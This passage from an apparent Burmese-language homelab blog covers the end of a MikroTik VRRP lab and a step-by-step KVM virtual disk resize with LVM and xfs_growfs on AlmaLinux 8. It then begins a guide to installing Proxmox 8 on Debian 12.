add action=masquerade chain=srcnat out-interface=ether1 src-address=\
    192.168.0.0/24
/system identity
set name=r2
```

Webterm client ဘက်နေစမ်းသပ်ဖို့အတွက် အရင်ဆုံး internet connection ရ မရကို အရင်ဆုံးစစ်ကြည့်လိုက်ပါ။ Client ဘက်ကနေ gateway IP 192.168.0.1 ကိုရော၊ google.com ကိုရော ping လို့ရတယ်ဆိုရင် စပြီးတော့ VRRP အလုပ် လုပ်သလားကို စမ်းသပ်ကြည့်လို့ ရနိုင်ပါပြီ။ စမ်းဖို့အတွက် webterm client မှာ terminal ကိုဖွင့်ပြီး google.com ကို အဆက်မပြတ် ping ထားပါ။ ပြီးရင် r1 ကို powered off ကြည့်လိုက်ပါ။ Ping ကတောက်လျှောက်ဆက်ပြီးတော့ response ပြန်ရနေရပါ့မယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-4ff8cb861d61b2dbff84d6cbd3170ce7b52b5ae9%2Fping_test.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒီ post မှာတော့ VRRP ကို MikroTik RouterOS မှာ configure ဘယ်လိုလုပ်လို့ရသလဲဆိုတာ အကျဉ်းချုပ် ခပ်သွက်သွက်ကလေး ရှင်းပြပေးထားပါတယ်။ VRRP အလုပ် လုပ်မလုပ်ကိုလည်း လက်တွေ့မှာ စမ်းသပ်လို့ရအောင်လို့ GNS3 မှာ lab တစ်ခုတည်ဆောက်ပြီးလည်း ပြပေးထားတဲ့အတွက် အဆင်ပြေမယ်လို့ ထင်ပါတယ်။ ဒီ post ကိုတော့ ဒီလောက်နဲ့ပဲ ရပ်လိုက်ပါတော့မယ်။


# KVM မှာ virtual disk တွေကို ဘယ်လို resize လုပ်လို့ရသလဲ

အခုနောက်ပိုင်းမှာ စာရေးသူ QEMU/KVM အကြောင်းတွေကိုပြန်လည်လေ့လာဖြစ်နေပြန်ပါတယ်။ Vagrant နဲ့ Virtualbox ကိုတွဲပြီးအသုံးပြုရတာ အဆင်ပြေပေမယ့်လည်း performance ပိုင်းမှာ QEMU/KVM ကိုမမှီတဲ့ အပိုင်းတွေအများကြီးရှိနေပြန်ပါတယ်။ QEMU/KVM တခုတည်းအသုံးပြုမယ်လို့ ဆိုရင်လည်း Virtualbox မှာလောက် မလွယ်ကူပြန်ပါ။ Vagrant နဲ့ KVM ကိုတွဲပြီးအသုံးပြုပြန်ရင်လည်း Vagrant box အများစုက Virtualbox အတွက် ပြင်ဆင်ထားတာများတာကြောင့် အဆင်မပြေပြန်ပါ။ နောက်ဆုံးတော့ LXD ကိုမျက်စိကျပြီးနောက် LXC container တွေကိုထဲထဲဝင်ဝင် အသုံးပြုနေရင်းမှ LXD မှာလည်း VM တွေကို ဖန်တီးနိုင်တယ်ဆိုတာ ထပ်မံလေ့လာရပြန်ပါတယ်။ လက်ရှိမှာတော့ LXD ဟာစာရေးသူအတွက် LXC container နဲ့ပြီးမယ့် lab environment တွေအတွက်သုံးဖြစ်ပါတယ်။ Vagrant နဲ့ Virtualbox ကိုတော့ VM နဲ့မှ စမ်းသပ်လို့ရမယ့် lab environment တွေမှာသုံးဖြစ်နေပါသေးတယ်။ တပြိုင်တည်းမှာ QEMU/KVM ကို စာရေးသူရဲ့ local machine ပေါ်မှာပဲ virt-manager နဲ့ဖြစ်ဖြစ်၊ Vagrant နဲ့ပဲဖြစ်ဖြစ်၊ LXD နဲ့ VM တွေကိုဖန်တီးဖြစ်တဲ့အခါမှာပဲဖြစ်ဖြစ်၊ Proxmox ပေါ်မှာ VM တွေအလွယ်တကူဖန်းတီးဖြစ်ရင်လည်း KVM ကိုသုံးဖြစ်နေပြီးသားမို့၊ bare-bone KVM အကြောင်းသိထားတာ စာရေးသူအတွက်အရှုံးမရှိပါ။

Proxmox မှာဆိုရင် VM ရဲ့ virtual disk ကို WebUI ကနေပဲဖြစ်ဖြစ်၊ CLI ကနေပဲဖြစ်ဖြစ် အလွယ်တကူ resize လုပ်လို့ရနိုင်ပါတယ်။ LVM ကိုသုံးရင် ကိုယ်ကြိုက်တဲ့ disk ကို expand လုပ်ပြီး သက်ဆိုင်ရာ filesystem မှာ grow လုပ်လိုက်ရုံပါပဲ။ အဲ့ဒီ process ကို bare-bone KVM မှာအဆင့်ဆင့်ဘယ်လိုမျိုး လုပ်သလဲဆိုတာကို ဒီ post မှာရှင်းလင်းလိုပါတယ်။ Demo အတွက် စာရေးသူ VM ထဲမှာ Almalinux 8 ကိုအသုံးပြုထားပါတယ်။ ဘယ် Linux distribution မှာဖြစ်ဖြစ် လုပ်ရတဲ့လုပ်ငန်းစဉ်က အတူတူပါပဲ။

21 GB ရှိတဲ့ virtual disk ကို 25 GB ဖြစ်အောင် လုပ်ပြီး လိုအပ်တဲ့ partition မှာထည့်သုံးသွားမှာဖြစ်ပါတယ်။ ဘယ်လိုလုပ်သလဲဆိုတာ ကြည့်လိုက်ရအောင်။ သတိပြုရမှာက ကိုယ်က home lab မှာစမ်းသပ်ဖို့အတွက်ဆိုရင်တော့ စိတ်ကြိုက်လုပ်နိုင်ပေမယ့်၊ production environment မှာဆိုရင် data တွေကို backup အရင်လုပ်ထားဖို့မှာချင်ပါတယ်။ စာရေးသူ အပါအဝင် နည်းပညာသမားတွေဟာ အလွယ်ဆုံး၊ အမြန်ဆုံးလမ်းကို လိုက်နေကြမို့ သတိကပ်ဖို့ ကြိုတင်အသိပေးတာဖြစ်ပါတယ်။

ပထမဆုံးအနေနဲ့ VM ကို shutdown လုပ်ပြီး ကိုယ်လိုချင်တဲ့ size ကိုအရင်ဆုံးပြောင်းပေးရပါ့မယ်။ ဒီနေရာမှာ... စာရေးသူ 1 GB ကိုပထမဆုံးတခေါက်မှာ အရင်ပေါင်းထည့်ပြီးသားမို့ အခုတခါ 4 GB ပဲထပ်တိုးပေးလိုက်ရအောင်။ qemu-img reszie ဆိုတဲ့ command ကိုအသုံးပြုပါတယ်။ size ကိုတိုးပြီးတဲ့အခါမှာလည်း ကိုယ်လိုချင်တဲ့ size မှန်မမှန်ကိုလည်း qemu-img info ဆိုတဲ့ command နဲ့စစ်ကြည့်လို့ရပါတယ်။ အဲ့လို စစ်ကြည့်လိုက်ရင် virtual size ဆိုတဲ့ နေရာမှာ 25 GB ဆိုပြီးပြနေပါလိမ့်မယ်။ စိတ်တိုင်းကျပြီဆိုရင် VM ကိုပြန်စလို့ရပါပြီ။ Terminal ထဲမှာ ဘယ်လိုမျိုးလုပ်သလဲဆိုတာကြည့်လိုက်ရအောင်။

```bash
## shutdown the VM first before resize the virtual disk
tyla@e32:~$ virsh shutdown almalinux8 
Domain 'almalinux8' is being shutdown


## resize the .qcow2 file on host machine
tyla@e32:~$ sudo qemu-img resize /data/kvm/almalinux8.qcow2 +4G
Image resized.


## verify if the virtual size is now 25 GB
tyla@e32:~$ sudo qemu-img info /data/kvm/almalinux8.qcow2 
image: /data/kvm/almalinux8.qcow2
file format: qcow2
virtual size: 25 GiB (26843545600 bytes)
disk size: 2.63 GiB
cluster_size: 65536
Format specific information:
    compat: 1.1
    compression type: zlib
    lazy refcounts: true
    refcount bits: 16
    corrupt: false
    extended l2: false
Child node '/file':
    filename: /data/kvm/almalinux8.qcow2
    protocol type: file
    file length: 20 GiB (21478375424 bytes)
    disk size: 2.63 GiB


## start the VM 
tyla@e32:~$ virsh start almalinux8 
Domain 'almalinux8' started


## verify if the VM is running
tyla@e32:~$ virsh list 
 Id   Name         State
----------------------------
 9    almalinux8   running

```

VM ရဲ့ status က running လို့ပြနေရင် ssh နဲ့ပြန်ဝင်ပြီး fdisk command နဲ့ လုပ်အပ်တဲ့ အချက်အလက်တွေကို သေချာပြန်ပြီး verify လုပ်ပါ။ အောက်ဖော်ပြမြင်ရတဲ့အတိုင်းပဲ vda1 က 1 GB နဲ့ vda2 က 19 GB လို့ပြနေပါလိမ့်မယ်။

```bash
## ssh into the VM 
tyla@e32:~$ ssh tyla@192.168.122.40
tyla@192.168.122.40's password: 
Last login: Thu Sep 12 12:02:02 2024 from 192.168.122.1


## become root before the disk operation inside VM
[tyla@almalinux8 ~]$ sudo -i
[sudo] password for tyla: 


## check the current disk layout and size
[root@almalinux8 ~]# fdisk -l
Disk /dev/vda: 25 GiB, 26843545600 bytes, 52428800 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa8460c45

Device     Boot   Start      End  Sectors Size Id Type
/dev/vda1  *       2048  2099199  2097152   1G 83 Linux
/dev/vda2       2099200 41943039 39843840  19G 8e Linux LVM




Disk /dev/mapper/almalinux-root: 17 GiB, 18249416704 bytes, 35643392 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/mapper/almalinux-swap: 2 GiB, 2147483648 bytes, 4194304 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

```

fdisk အပြင်နောက်ထပ်အသုံးဝင်တဲ့ commands က lsblk နဲ့ df ပါ။ ဘယ် mount point က ဘယ် partition ပေါ်မှာ setup လုပ်ထားသလဲဆိုတာ အောက်မှာပြထားသလိုမျိုး စစ်ဆေးကြည့်နိုင်ပါတယ်။ မြင်တွေ့ရတဲ့အတိုင်း /boot ဆိုတဲ့ mount point ကို vda1 ပေါ်မှာ 1 GB ပေးထားပြီးတော့ / နဲ့ SWAP ကို vda2 ပေါ်မှာ 17 GB နဲ့ 2 GB ဆိုပြီးပေးထားပါတယ်။ df ရဲ့ output ကိုကြည့်မယ်ဆိုရင်လည်း xfs ဆိုတဲ့ filesystem ကိုအသုံးထားတာကိုတွေ့ရမှာဖြစ်ပါတယ်။

```bash
## also check the partition layout and size with both lsblk and df commands
[root@almalinux8 ~]# lsblk
NAME               MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sr0                 11:0    1 1024M  0 rom  
vda                252:0    0   25G  0 disk 
├─vda1             252:1    0    1G  0 part /boot
└─vda2             252:2    0   19G  0 part 
  ├─almalinux-root 253:0    0   17G  0 lvm  /
  └─almalinux-swap 253:1    0    2G  0 lvm  [SWAP]

[root@almalinux8 ~]# df -Th
Filesystem                 Type      Size  Used Avail Use% Mounted on
devtmpfs                   devtmpfs  870M     0  870M   0% /dev
tmpfs                      tmpfs     890M     0  890M   0% /dev/shm
tmpfs                      tmpfs     890M  8.6M  881M   1% /run
tmpfs                      tmpfs     890M     0  890M   0% /sys/fs/cgroup
/dev/mapper/almalinux-root xfs        17G  2.2G   15G  13% /
/dev/vda1                  xfs      1014M  232M  783M  23% /boot
tmpfs                      tmpfs     178M     0  178M   0% /run/user/1000

```

လိုအပ်တဲ့ အခြေခံအချက်အလက်တွေကို စုဆောင်းပြီးနောက် LVM ကိုအသုံးပြုပြီး partition ရဲ့ size တွေကိုစတင် resize လုပ်လို့ရနိုင်ပါပြီ။ pvs ဆိုတဲ့ LVM command ကိုအသုံးပြုတဲ့အခါမှာ /dev/vda2 တခုတည်းကိုသာ တွေ့ရမှာဖြစ်ပါတယ်။ /dev/vda1 မှာ LVM ကိုမသုံးထားတာကို သတိပြုရမှာဖြစ်ပါတယ်။

```bash
## check LVM physical volume size
[root@almalinux8 ~]# pvs
  PV         VG        Fmt  Attr PSize   PFree
  /dev/vda2  almalinux lvm2 a--  <19.00g    0 

```

fdisk ကိုပဲအသုံးပြုပြီး /dev/vda disk ရဲ့ /dev/vda1 partition ကိုအရင်ဆုံး resize လုပ်ဖို့လိုပါလိမ့်မယ်။ ကိုယ်ပြင်ချင်တဲ့ partition ကိုပထမဆုံး ဖျက်ပစ်ပြီး ကိုယ်လိုချင်တဲ့ size ကိုပြောင်းလဲယူရမှာဖြစ်ပါတယ်။ ဒီအဆင့်မှာ သတိပြုရမှာက ဖျက်ပစ်တယ်လို့ဆိုပေမယ့် partition table ထဲက entry ကိုပဲဖျက်တာဖြစ်ပြီး၊ အဲ့ဒီ partition ထဲက data တွေကို ဖျက်ပစ်မှာမဟုတ်ပါဘူး။ သို့သော်... backup အရင်လုပ်ထားနိုင်တယ်ဆိုရင်တော့ အကောင်းဆုံးပါ။ နောက်တချက်က LVM type ကို ပြန်လည် setup လုပ်တဲ့အခါမှာ Do you want to remove the signature? \[Y]es/\[N]o: လို့မေးတဲ့နေရာရောက်ရင် N သို့မဟုတ် No လို့ဖြေပေးရပါ့မယ်။ ဒီနေရာမှာ သတိထားပြီးတော့ တဆင့်ပြီးတဆင့် လုပ်သင့်ပါတယ်။

```bash
## start working on the desired disk with fdisk 
[root@almalinux8 ~]# fdisk /dev/vda

Welcome to fdisk (util-linux 2.32.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


## type 'p' here to print the current disk layout to double check
## take note of 'Start' column for /dev/vda2 
## value is 2099200 here.
Command (m for help): p
Disk /dev/vda: 25 GiB, 26843545600 bytes, 52428800 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa8460c45

Device     Boot   Start      End  Sectors Size Id Type
/dev/vda1  *       2048  2099199  2097152   1G 83 Linux
/dev/vda2       2099200 41943039 39843840  19G 8e Linux LVM


## type 'd' here to delete the partition /dev/vda2
## note that it does not delete data on the disk but the entry in partition table
Command (m for help): d

## if no input and enter, the default is partition number 2 (/dev/vda2 here)
Partition number (1,2, default 2): 

Partition 2 has been deleted.

## type 'n' for new to create new partition
Command (m for help): n
Partition type
   p   primary (1 primary, 0 extended, 3 free)
   e   extended (container for logical partitions)

## if no input and enter, the default is 'p' for primary partition type
Select (default p): 

Using default response p.

## if no input and enter, the default is '2' for second primary partition
Partition number (2-4, default 2): 

## if no input and enter, the default should be the same value as before
## value is 2099200 here
First sector (2099200-52428799, default 2099200): 

## if no input and enter, the default is the last sector of the disk after resize
Last sector, +sectors or +size{K,M,G,T,P} (2099200-52428799, default 52428799): 

Created a new partition 2 of type 'Linux' and of size 24 GiB.
Partition #2 contains a LVM2_member signature.

## !!!CAUTION!!! - type 'N' for No to keep the LVM2_member signature
Do you want to remove the signature? [Y]es/[N]o: N

## type 't' for type to set the partition type
Command (m for help): t

## type '8e' for LVM Hex code for the partition
Partition number (1,2, default 2): 
Hex code (type L to list all codes): 8e

Changed type of partition 'Linux' to 'Linux LVM'.

## type 'w' for write to apply the changes to the disk
Command (m for help): w
The partition table has been altered.
Syncing disks.

```

lsblk နဲ့ နောက်တခါထပ်စစ်ကြည့်လိုက်ပါ။ မြင်တွေ့ရတဲ့အတိုင်း vda2 partition ဟာ 24 GB ဖြစ်နေတာကိုတွေ့ရမှာပါ။ ဒီဆိုရင်တော့ LVM ရဲ့ physical volume ကို pvresize command နဲ့စတင်ပြောင်းလဲနိုင်ပါပြီ။ Resize လုပ်ပြီးနောက် pvs နဲ့ သေချာအောင် verify လုပ်လုပ်လိုက်ပါ။

```bash
## check if the vda2 disk partition size
[root@almalinux8 ~]# lsblk 
NAME               MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sr0                 11:0    1 1024M  0 rom  
vda                252:0    0   25G  0 disk 
├─vda1             252:1    0    1G  0 part /boot
└─vda2             252:2    0   24G  0 part 
  ├─almalinux-root 253:0    0   17G  0 lvm  /
  └─almalinux-swap 253:1    0    2G  0 lvm  [SWAP]


## verify the LVM physical volume before resize 
[root@almalinux8 ~]# pvs
  PV         VG        Fmt  Attr PSize   PFree
  /dev/vda2  almalinux lvm2 a--  <19.00g    0 


## resize the physical volume with pvresize
[root@almalinux8 ~]# pvresize /dev/vda2
  Physical volume "/dev/vda2" changed
  1 physical volume(s) resized or updated / 0 physical volume(s) not resized


## verify the LVM physical volume after resize 
[root@almalinux8 ~]# pvs
  PV         VG        Fmt  Attr PSize   PFree
  /dev/vda2  almalinux lvm2 a--  <24.00g 5.00g

```

Physical volume ကို resize လုပ်ပြီးနောက် LVM ရဲ့ volume group မှာဘယ်လောက်ထပ်တိုးလာသလဲဆိုတာကို vgs ဆိုတဲ့ command နဲ့ စစ်ကြည့်နိုင်ပါတယ်။ အောက်မှာမြင်တွေ့ရတဲ့အတိုင်း 5 GB ထပ်တိုးလာတာကိုတွေ့မြင်နိုင်ပါတယ်။ ဒါဆိုရင်တော့ ထပ်တိုးလာတဲ့ 5 GB အကုန်လုံးကို LVM ရဲ့ logical volume ထဲမှာတိုးပေးဖို့အတွက် lvextend -l +100%FREE /dev/almalinux/root ဆိုတဲ့ command ကိုသုံးရပါ့မယ်။ ဒီလိုတိုးပြီးရင် lvs ဆိုတဲ့ command နဲ့ logical volume size ကို verify လုပ်ကြည့်နိုင်ပါတယ်။

```bash
## also verify the LVM volume group for free space
[root@almalinux8 ~]# vgs
  VG        #PV #LV #SN Attr   VSize   VFree
  almalinux   1   2   0 wz--n- <24.00g 5.00g


## now extend the LVM logical volume with lvextend to extend /dev/almalinux/root
[root@almalinux8 ~]# lvextend -l +100%FREE /dev/almalinux/root
  Size of logical volume almalinux/root changed from <17.00 GiB (4351 extents) to <22.00 GiB (5631 extents).
  Logical volume almalinux/root successfully resized.


## verify the logical volume size of root 
[root@almalinux8 ~]# lvs
  LV   VG        Attr       LSize   Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert
  root almalinux -wi-ao---- <22.00g                                              
  swap almalinux -wi-ao----   2.00g                                                    
```

နောက်တခါ lsblk နဲ့ / mount point ကိုစစ်ကြည့်တဲ့အခါမှာ 22 GB ဖြစ်နေတာကိုတွေ့ရမှာပါ။ အရှေ့မှာ စစ်ကြည့်ထားလို့ xfs ဆိုတဲ့ filesystem ကိုအသုံးပြုထားတာသိရှိပြီးတဲ့အတွက် xfs\_growfs ဆိုတဲ့ command နဲ့ / mount point ရဲ့ filesystem ကို grow လုပ်ပေးရပါလိမ့်မယ်။ နောက်ဆုံးအနေနဲ့ df command ကိုအသုံးပြုပြီး / mount point ကိုစစ်ကြည့်လိုက်ရင် ကိုယ်လိုချင်တဲ့ size ကိုတိုးပြီးမြင်နိုင်မှာဖြစ်ပါတယ်။

```bash
## also verify it with lsblk
[root@almalinux8 ~]# lsblk
NAME               MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sr0                 11:0    1 1024M  0 rom  
vda                252:0    0   25G  0 disk 
├─vda1             252:1    0    1G  0 part /boot
└─vda2             252:2    0   24G  0 part 
  ├─almalinux-root 253:0    0   22G  0 lvm  /
  └─almalinux-swap 253:1    0    2G  0 lvm  [SWAP]


## grow the / mount with xfs_growfs because the filesystem is xfs here
## note that resize2fs is used when the filesystem is ext4
[root@almalinux8 ~]# xfs_growfs /
meta-data=/dev/mapper/almalinux-root isize=512    agcount=4, agsize=1113856 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=1        finobt=1, sparse=1, rmapbt=0
         =                       reflink=1    bigtime=0 inobtcount=0
data     =                       bsize=4096   blocks=4455424, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0, ftype=1
log      =internal log           bsize=4096   blocks=2560, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0
data blocks changed from 4455424 to 5766144


## verify the disk free space at / mount point now
[root@almalinux8 ~]# df -Th
Filesystem                 Type      Size  Used Avail Use% Mounted on
devtmpfs                   devtmpfs  870M     0  870M   0% /dev
tmpfs                      tmpfs     890M     0  890M   0% /dev/shm
tmpfs                      tmpfs     890M  8.6M  881M   1% /run
tmpfs                      tmpfs     890M     0  890M   0% /sys/fs/cgroup
/dev/mapper/almalinux-root xfs        22G  2.2G   20G  10% /
/dev/vda1                  xfs      1014M  232M  783M  23% /boot
tmpfs                      tmpfs     178M     0  178M   0% /run/user/1000
```

အထက်မှာရှင်းပြသွားတဲ့အတိုင်း အရမ်းကြည့်တော့မခက်ခဲ့တဲ့ process တခုဖြစ်ပေမယ့်လည်း တခါမှာမလုပ်ဘူးရင် KVM မှာ virtual disk တွေကို non-destructive နည်းနဲ့ ဘယ်လိုလုပ်ရသလဲဆိုတာ အလွယ်တကူ ရှာကြည့်ပြီး စမ်းသပ်ဖို့အနည်းငယ်လက်ဝင်ပါလိမ့်မယ်။ ကိုယ်တိုင်မလုပ်ဘူးရင် သေချာရှင်းရှင်းလင်းလင်း နားလည်ဖို့အတွက် ခက်ခဲ့နိုင်တာကြောင့် lab environment မှာအနည်းဆုံး တစ်ခေါက်လောက်တော့ အစအဆုံး စမ်းသပ်ဖို့တိုက်တွန်းလိုပါတယ်။


# Debian 12 ပေါ်တွင် Proxmox 8 ကိုဘယ်လို integrate လုပ်သလဲ

Vanilla Proxmox 8 ISO ကို download ဆွဲပြီးတော့ ကိုယ့်စက်ပေါ်မှာလုပ်ရတဲ့ installation process ကတော်တော်လေးကို ရိုးရိုးရှင်းရှင်းနဲ့ နားလည်ရလွယ်တဲ့ လုပ်ငန်းစဉ်တခုပါ။ တကယ်တော့ Proxmox ဆိုတာက Linux မှာ native တင်ပြီး run ရနိုင်တဲ့ hypervisor KVM နဲ့ QEMU နှစ်ခုကို အလွယ်တကူ အသုံးပြုနိုင်အောင်လုပ်ပေးထားတာပဲဖြစ်ပါတယ်။ Enterprise Linux မှာတော့ အရင်ကတည်းက KVM ကို သပ်သပ်ရပ်ရပ် ထုပ်ပိုးပြင်ဆင်ပြီး အလွယ်တကူသုံးနိုင်ဖို့အတွက် solution တွေကရှိပြီးသားပါ။ သို့သော် homelab သမားတွေအတွက်ကျတော့ အဆင်မပြေပါ။ ဒါ့ကြောင့် အရင်ကဆိုရင် VMware ESXi ကို standalone host အနေနဲ့ homelab သမားတွေ အားထားပြီး အသုံးပြုကြခဲ့ပါတယ်။ ဒီ့အတွက် VMware vSphere နဲ့ vCenter လိုမျိုး solution တွေကို လုပ်ငန်းခွင်တွေမှာလည်း တွင်တွင်ကျယ်ကျယ် အသုံးပြုလာကြပါတယ်။ VMware ESXi ကို install လုပ်ရတာ၊ configure လုပ်ရတာကလည်း အတော်လေးကိုလွယ်ကူတဲ့အပြင်၊ အဲ့ဒီတုန်း virtualisation technology နဲ့ innovation ဘက်မှာ VMware ဟာအရမ်းကို ရှေ့ပြေးနေခဲ့တာပါ။ ရှင်းရှင်းပြောရရင် virtualisation တခေတ်ကို ဦးဆောင်ခဲ့တယ်လို့တောင်ဆိုလို့ရပါတယ်။ Virtualisation technology ကို အမြန်ဆုံး adopt လုပ်နိုင်အောင် ကူညီပေးခဲ့တာကြောင့် VMware ဆိုတဲ့ brand တခုဖြစ်လာခဲ့ပါတယ်။ စာရေးသူ ကိုယ်တိုင်လည်း တချိန်က VMware ရဲ့ Workstation/Player နဲ့ ESXi၊ vSphere၊ vCenter တို့လို product တွေနဲ့တော်တော်လေးကို ရင်းနှီးကျွမ်းဝင်ခဲ့ပါတယ်။ ဒါ့အပြင် VMware က vSAN နဲ့ NSX တို့လိုမျိုး နည်းပညာတွေကိုလည်း လေ့လာဖူး၊ လုပ်ငန်းခွင်မှာလည်း ထိတွေ့ဖူးတာမို့ production environment တွေအတွက်ဘယ်လိုစွမ်းသလဲဆိုတာကို ကိုယ်တွေ့ကြုံခဲ့ရပါတယ်။

တဘက်မှာလည်း Linux ကိုစတင်အသုံးပြုလာကတည်း KVM နဲ့ QEMU လိုမျိုး native ရနိုင်တဲ့ hypervisor နည်းပညာတွေကို စတင်စိတ်ဝင်စားလာခဲ့ပြန်ပါတယ်။ စာရေးသူ homelab မှာလည်း KVM ကို ပုံစံမျိုးစုံနဲ့ စတင်အသုံးပြုလာခဲ့ပြန်ပါတယ်။ ဥပမာ GNS3 ကို networking lab တွေအတွက် setup လုပ်တဲ့အခါမှာ KVM ကိုသုံးဖြစ်ခဲ့ပါတယ်။ တခါကလည်း Virtualbox ကို Linux စက်ပေါ်မှာတင်ပြီးသုံးရတာ သိပ်အဆင်မပြေသလိုခံစားရပြီး KVM ကို virt-manager နဲ့တမျိုး၊ cockpit နဲ့တဖုံ အမျိုးမျိုးတင် run ကြည့်ပါတယ်။ ပြီးတော့... LXD နဲ့သူ့ရဲ့ front-end web interface ကိုအသုံးပြီး KVM နဲ့ LXD VM တွေကိုလည်း စမ်းသပ်အသုံးပြီးတကာလ၊ homelab တွေမှာ အလွယ်တကူ အဆင်ပြေပြေ အသုံးပြုဖို့အတွက် KVM ကိုကောင်းကောင်း integrate လုပ်ပေးထားတဲ့ solution ကအများသိပ်မရှိပါ။ ဒါကြောင့်လည်း Proxmox ဟာ လယ်ပြင်ဆင်သွားသလိုထင်ရှားနေတဲ့ virtualisation solution တခုပါ။

ဒီ blog post မှာတော့ Debian 12 Bookworm ပေါ်မှာ Proxmox 8 ကိုတင်ပြီး ကိုယ့်ရဲ့ hypervisor အနေနဲ့ ဘယ်လိုမျိုး အသုံးပြုနိုင်သလဲဆိုတာကို ရှင်းပြလိုပါတယ်။ ဘာဖြစ်လို့ Proxmox 8 ISO ကို download ဆွဲပြီး စက်ပေါ်မှာတခါတည်း တင်မသုံးတာလဲလို့မေးရင်တော့ အချက် ၃ ချက်ကိုထောက်ပြရပါလိမ့်မယ်။

1. PC/Laptop တလုံးတည်းပေါ်မှာပဲ ကိုယ့်ရဲ့ Debian 12 bookworm desktop နဲ့ hypervisor ကို Proxmox တင်ပြီး အသုံးပြုချင်လို့ပါ။ ဒီလိုမှမဟုတ်ရင် Proxmox အတွက်နောက်စက် တလုံးသပ်သပ်ထပ်လိုပါလိမ့်မယ်။
2. Vanilla Proxmox ကို install လုပ်တဲ့အခါမှာ အများကြီး customise လုပ်ဖို့အတွက် option သိပ်မရှိပါဘူး။ ဥပမာ disk layout ကိုပြောင်းချင်တာမျိုး၊ full disk encryption လုပ်ချင်တာမျိုးဆိုရင် အခုလို base OS ဖြစ်တဲ့ Debian 12 ပေါ်မှာ စိတ်ကြိုက်လုပ်လို့ရနိုင်ပါတယ်။
3. Homelab တခုအနေနဲ့ စမ်းသပ်ဖို့ရနိုင်လို့ စမ်းသပ်ကြည့်မိတာလည်း ဖြစ်ကောင်းဖြစ်နိုင်ပါတယ်။ အခြားသော OS ပေါ်မှာ အခုလိုမျိုးစမ်းသပ်ချင်လို့မှ မစမ်းသပ်နိုင်တာမို့ ဒါဟာကိုယ်တိုင်လေ့လာခွင်ရမယ့် အခွင့်အရေးတခုပါ။

ဒီ lab ကိုစမ်းသပ်ဖို့အတွက် စာရေးသူတို့ အောက်ပါနှစ်ချက်ကို ကြိုတင်ပြင်ဆင်ထားရပါလိမ့်မယ်။

* PC/Laptop တလုံးအပိုရှိရင် အဲ့ဒီစက်ပေါ်မှာပဲ lab ကိုတည်ဆောက်ချင်ရင်လည်းဖြစ်နိုင်ပါတယ်။ ဒီ post မှာ စာရေးသူ Virtualbox ကိုအသုံးပြုပြီး ဒီ lab ကို setup လုပ်ပါ့မယ်။ ကိုယ့်စိတ်ကြိုက် hypervisor ကိုအသုံးပြုလည်းဖြစ်နိုင်ပါတယ်။ Nested virtualisation ကို support လုပ်တဲ့ဘယ် hypervisor ကိုမဆိုအသုံးပြုလို့ရပါတယ်။ နောက်ပြီး ဒီ lab မှာက nested virtualisation ဆိုပေမယ့် specs ကအများကြီးမလိုပါ။ Specs နိမ့်ရင်တော့ ကိုယ်ကနောက်ပိုင်းမှာ ဒီ lab ကိုဆက်ပြီး အသုံးပြုမယ်ဆိုရင်တောင်မှ LXD container တွေ run လို့ရနိုင်ပေမယ့်၊ VM တွေအတွက် တော်တော်လေးကို လေးပါလိမ့်မယ်။ ဒီတော့... hypervisor တခုကိုကိုယ့်စက်ပေါ်မှာ အရင်ဆုံး install လုပ်ထားဖို့လိုပါတယ်။
* Debian 12 Bookworm ကို Xfce နဲ့လာတဲ့ ISO ကိုသူ့ရဲ့ official website ကနေ download အရင်ဆွဲရပါလိမ့်မယ်။ Download ဆွဲရမယ့် link ကတော့ <https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-12.6.0-amd64-xfce.iso> ဖြစ်ပါတယ်။ ကိုယ်က PC/Laptop တခုကိုအသုံးပြုရင်တော့ bootable USB လုပ်ဖို့အတွက် USB drive တခုနဲ့ Etcher လိုမျိုး software တခုလိုပါတယ်။

## Debian 12 Installation

Debian ကို install မလုပ်ဘူးရင် မျက်စိနည်းနည်းလည်နိုင်ပေမယ့်၊ အောက်မှာဖော်ပြထားတဲ့ အဆင့်တွေက ရှုပ်ထွေးလွန်းလှတာတော့ မဟုတ်ပါ။ Installation အတွက် အောက်ကအဆင့်တွေတခုချင်းစီလုပ်သွားပေးလိုက်ရုံပါပဲ။

* Virtualbox ပေါ်မှာ ကိုယ့် VM ကိုအောက်က specs အတိုင်းအရင်ဆုံဖန်တီးလိုက်ပါ။ Debian 12 ISO ကိုလည်း installation အတွက် အဲ့ဒီ VM ပေါ်မှာတခါတည်း mount လုပ်ထားလိုက်ပါ။ ဒါ့အပြင် nested virtualisation run မှာဖြစ်တဲ့အတွက် Settings > System > Processor > Extended Features > Enable Nested VT-x/AMD-V ဆိုတဲ့ option ကို tick လုပ်ပေးထားဖို့လိုပါတယ်။ Base Memory: 4096 MB (4 GB) Processors: 2 CPUs Disk Capacity: 30 GB
* Boot တက်လာပြီးနောက် GRUB ရဲ့ Boot menu screen ပြတဲ့အခါမှာ "Start installer" ဆိုတဲ့ option ကိုရွေးလိုက်ပါ။
* Select a language မှာကိုယ်ကြိုက်တဲ့ language တခုကိုရွေးပေးလိုက်ပါ။
